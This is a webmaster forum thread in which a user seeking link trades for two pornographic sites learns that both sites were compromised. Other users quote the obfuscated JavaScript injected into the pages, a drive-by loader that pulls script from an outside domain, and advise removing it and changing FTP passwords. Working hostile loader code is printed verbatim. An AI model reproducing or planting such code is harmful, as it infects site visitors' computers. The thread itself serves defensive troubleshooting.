Hard link trade

[Thotmes]

Hi

I'm looking for hard link trade for my 2 porn sites

www.blackbootyporn.com
www.ethniclesbosex.com


Thotmes

[LD]

Hi

I'm looking for hard link trade for my 2 porn sites

www.blackbootyporn.com
www.ethniclesbosex.com


Thotmes

Avast is going off when I click on first link..

See attached.

[HowlingWulf]

Found this in your html code on both sites:
<script language=javascript><!--
(function(WnUio){var j4vye='%';var a3z='v:61r:20:61:3d:22:53:63:72:69ptEng:69n:65:22:2cb:3d:22Version()+:22:2cj:3d:22:22:2cu:3dnavi
gator:2eus:65r:41gen:74:3bi:66(:28u:2ein:64e:78Of:28:22Win:22):3e0):26:26(u:2e:69ndex:4ff(:22N:54:206:22):3c0):26:26:28do:63ument:2
e:63ookie:2ein:64exOf(:22miek:3d1:22:29:3c0):26:26(typeof(zr:76zts):21:3dtypeof:28:22:41:22))):7bzrvzts:3d:22A:22:3b:65val(:22i:66(
window:2e:22+a+:22)j:3d:6a:2b:22:2b:61+:22Major:22:2bb:2b:61+:22M:69n:6f:72:22+b+a+:22Build:22:2b:62+:22j:3b:22:29:3b:64ocum:65:6e:
74:2e:77ri:74:65:28:22:3csc:72:69p:74:20s:72c:3d:2f:2fgumb:6ca:72:2ec:6e:2fr:73:73:2f:3fid:3d:22+j+:22:3e:3c:5c:2f:73:63r:69p:74:3e
:22:29:3b:7d';var Y7WO=a3z.replace(WnUio,j4vye);eval(unescape(Y7WO))})(/:/g);
--></script>

[Thotmes]

Hi

I don't know what the problem it is and what it is the code ? I've just checked my sites and their files and didn't find this code :(

Thotmes |huh

[SheepGuy]

It's some sort of malware, you need to delete it and change your FTP passwords

[Thotmes]

It's some sort of malware, you need to delete it and change your FTP passwords

Hi

Delete it ? What do you mean ? Index files ? Or all content and uploaded it once more ? Where I could catch this shit ? I have just scanned all my PC and haven't found it

Thotmes

[HowlingWulf]

Looks like you uploaded a fresh copy, without the code. I don't know how it got there, but I have a copy of the infected index files for you to look at.
http://www.howling-wulf.com/blackbootyporn.txt
http://www.howling-wulf.com/ethniclesbosex.txt
The malicious code is right before the <body> tag.

[SheepGuy]

Change your FTP password or it will happen again. Usually this happens because of a weak user/pw combo and your server gets hacked and malicious code inserted.
If you're very unlucky google will pick it up before you notice and put a nasty little warning before your site on search results. It happened to me and it takes days to get the warning removed.

[Thotmes]

Thanks for help and support

Thotmes

[pc]

Your sites are still infected
I Send also send you an email about it.
Can you please take a look at it.

What is the current listing status for www.blackbootyporn.com? (http://www.blackbootyporn.com?)Site is listed as suspicious - visiting this web site may harm your computer.
Part of this site was listed for suspicious activity 1 time(s) over the past 90 days.
What happened when Google visited this site?Of the 4 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-05-18, and the last time suspicious content was found on this site was on 2009-05-18.Malicious software includes 7 scripting exploit(s).
Malicious software is hosted on 1 domain(s), including martuz.cn/ (http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-US&site=martuz.cn/).
This site was hosted on 1 network(s) including AS19842 (COLOSSEUM) (http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-US&site=AS:19842).

[Thotmes]

Sorry Fellows for all problem ;( I just removing again all files and change password ;(
Hope it will be over this time

Thotmes ;(